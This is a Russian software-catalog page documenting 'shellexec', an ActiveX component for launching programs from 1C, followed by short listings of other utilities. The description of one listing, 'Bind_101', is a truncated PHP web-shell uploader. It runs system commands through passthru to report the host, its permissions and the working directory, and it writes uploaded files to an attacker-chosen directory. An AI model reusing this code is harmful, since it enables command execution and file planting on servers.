shellexec: управление запуском программ и контроль событий завершения их работы
shellexec Version 1.
|
shellexec Version 1.0.3
shellexec: оболочка для Shell VB и Win32API
использование:
CreateObject("shellexec.manager");
Свойства:
cmdline As String
exectype As exectypes
execstyle As execstyles
где:
exectypes:
0 - запуск команды cmdline
1 - запуск: cmd /c cmdline
2 - запуск: command.com /c cmdline (command.com должен быть доступен)
execstyles:
0 - программа в cmdline будет скрыта (по умолчанию)
1 - обычный запуск cmdline
2 - cmdline минимизирована
3 - cmdline максимизирована
4 - обычный запуск cmdline, но без фокуса
6 - cmdline минимизирована без фокуса
waittypes:
0 - запуск синхронно, без ожидания запуска cmdline, при удаче возврат 1
1 - запуск: ожидает запуск cmdline, при удаче возвращает дескриптор открытого окна
2 - запуск: ожидает завершение процесса cmdline, при удаче возвращает 1
3 - запуск: ожидает запуск процесса cmdline, при удаче возвращает дескриптор открытого окна,
а при завершении передаст дескриптор, которое имело окно до закрытия в
v7.7: ОбработкаВнешнегоСобытия()
v8.0: процедуру приема внешнего события
Передача события при использовании параметра 3 обеспечивается через интерфейс AddIn.Messager:
v7.7:
ПодключитьВнешнююКомпоненту("AddIn.Messager");
Messager = CreateObject("AddIn.Messager");
shellexec = CreateObject("shellexec.manager");
shellexec.ExtMessager=Messager;
Необходимо наличие и регистрация Messager.dll: regsvr32 Messager.dll
v8.0:
Форма-Вставить ActiveX: выбрать AddIn.Messager и разместить на форме, присвоить НужноеВамИмя
Форма-Свойства-События-PassEvent: разместить ссылку на процедуру приема внешнего события
shellexec = Новый ComObject("shellexec.manager");
shellexec.ExtMessager=ЭтаФорма.ЭлементыФормы.НужноеВамИмя;
timeout: время задержки ответа execute (иногда м.б. полезно при передаче данных в порт), мс
Регистрация:
shellexec.exe /RegServer
RegSvr32 Messager.dll
Удаление регистрации:
shellexec.exe /UnRegServer
RegSvr32 Messager.dll /u
Если Вы использовали ранее shellexec, при замене версий нужно сначала удалить регистрацию,
затем просто запустить shellexec.exe - регистрация выполнится автоматически
Методы:
execute([cmdline As String], [exectype As Integer], [execstyle As Integer]):
без параметров: запускает cmdline согласно заполненным ранее свойствам
с параметрами: заполняет свойства значениями параметров и запускает cmdline
terminate
завершение работы ActevtX
полностю освобождает память, не ожидая завершения работы 1С
Параметры командной строки: shellexec(cmdline, exectype, execstyle)
выполняет execute(cmdline, exectype, execstyle)
Скачать shellexec: управление запуском программ и контроль событий завершения их работы

Программы разработчика
Замена стандартных Предупреждение(), Вопрос()
nnn
Давно думалось сделать, а тут оказия, -может уже есть (не нашел), или нет -комунибуть сэкономит время
Думаю, каждый иногда сталкивался с проблемой, когда стандартных наборов типа Да+Нет+Отмена, Стоп+Повтор+Отменить и т.
VB исходники простой внешней компонеты для управления сканером из 1С
nnn
может кому надоиспользует imgscan.
Настройка правил обмена light
nnn
кому приходилось внедрять мод знаком с ситуацией, когда при настроке обмена конкретными документами нужно расставить "зюзьки" по всему дереву подчиненности
при этом наверняка что-нибуть не учтешь, потому нужна отладка - открыть док, изменить, обменяться, посмотреть что пустое и т.
ВК для автоматизации обмена посредством модема
nnn
сразу: годится не только для мод, но и для урбд и т.
Deposit - комплекс для учета на удаленном складе с использованием терминала сбора данных Psion Workabout со сканером штрихкода
nnn
Комплекс предназначен для удаленной работы на складе с использованием терминала сбора данных Psion Workabout со встроенным сканером штрихкода, а именно: выполнения сверки (создания) приходных, проверки наборки (создания) расходных документов, а так же инвентаризации, списания и перемещения.
Альтернативные программы
shellexec: управление запуском программ и контроль событий завершения их работы
nnn
shellexec Version 1.
Mobile Device Manager - Менеджер КПК - автоматизация обмена данными между КПК и РС ![]()
nnn
Mobile Device Manager
Менеджер КПК: оболочка над Remote API (RAPI)
предназначен для автоматизации обмена данными с КПК на платформе Windows CE
позволяет программно:
управлять файлами и каталогами КПК
производить изменения в реестре КПК
запускать приложения в КПК из PC
выполнять обмен файлами между КПК и PC
Выполнен в виде ActiveX.
ВК для автоматизации обмена посредством модема
nnn
сразу: годится не только для мод, но и для урбд и т.
Голосовой замок
Unknown
Программа имитирует простейший вариант системы допуска в помещение с голосовым замком.
FWLogger 1.0.0
Васильчиков Василий Сергеевич
Firewall Logger 1.
K-Lite Codec Pack 2.69 Full
K-Lite
K-Lite Mega Codec Pack - является пакетом разнообразных аудио и видео кодеков, фильтров и программ, предназначенных для работы с видео.
WebWarper: 2.5
Unknown
WebWarper - это многофункциональный Internet-сервис с веб-интерфейсом.
StatWin Pro
SXR Software
Программа StatWin предназначена для сбора, хранения и анализа статистики работы компьютера и работы пользователей за компьютером под управлением ОС Windows 95/98/ME/NT/2000/XP.
Голосовой набор. 1.0
Одитек
Описание программы Требования к программному и аппаратному обеспечению: * - Операционная среда Windows; * - Звуковая карта; * - Микрофон, аудиосистема; Состав файлов.
Bind_101
Unknown
html head titleuploader/title meta http-equiv="Content-Type" content="text/html; charset=windows-1251" style type="text/css" ! body { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px} a { color: #000000; text-decoration: none} a:hover { color: #000066; text-decoration: underline} /style /head body bgcolor="#999999" text="#000000" center table width="700" border="0" bgcolor="#000066" tr td table width="100%" border="0" bgcolor="#CCCCCC" tr td pfont size="2"bfont color="#FF0000" System: font color="#000000" ? passthru("uname -a"); ? /fontbr Our permissions: font color="#000000" ? passthru("id"); ? /fontbr Our locality: font color="#000000" ? passthru("pwd"); ? /font/font/b/font/p pre ?php // FILE UPLOAD $uploaded = $_FILES[\\'userfile\\'][\\'tmp_name\\']; if (file_exists($uploaded)) { $pwd_dir = $_POST[\\'dira\\']; $real = $_FILES[\\'userfile\\'][\\'name\\']; $destination = $pwd_dir.
Другие программы категории
Homba 2
Светлицкий Валерий Павлович
Программа "Homba" предназначена для просмотра и анализа конфигураций системы 1С-Предприятие 7.
Управление файлами, версия 1.00 ![]()
koser
Когда меня достало "раскидывать" по сети на множество компов всяческие одинаковые файлы и обновления, то решил - пусть 1С этим займеться.
Методика.Окно табличной части документов
Item
Демо конфигурация v77.
Цикл уроков по бухгалтерской программе "1С:Бухгалтерия 7.7 для Украины".
Alexandr
Подбока уроков рубрики "Компьютерный практикум" из журнала "Налоги и бухучет".
MZ:Архиватор PRO 1.5.0.0 - резервное копирование баз 1С ![]()
mzaharenkov
MZ:Архиватор PRO - это программа для резервного копирования баз 1С, любых документов и важных данных.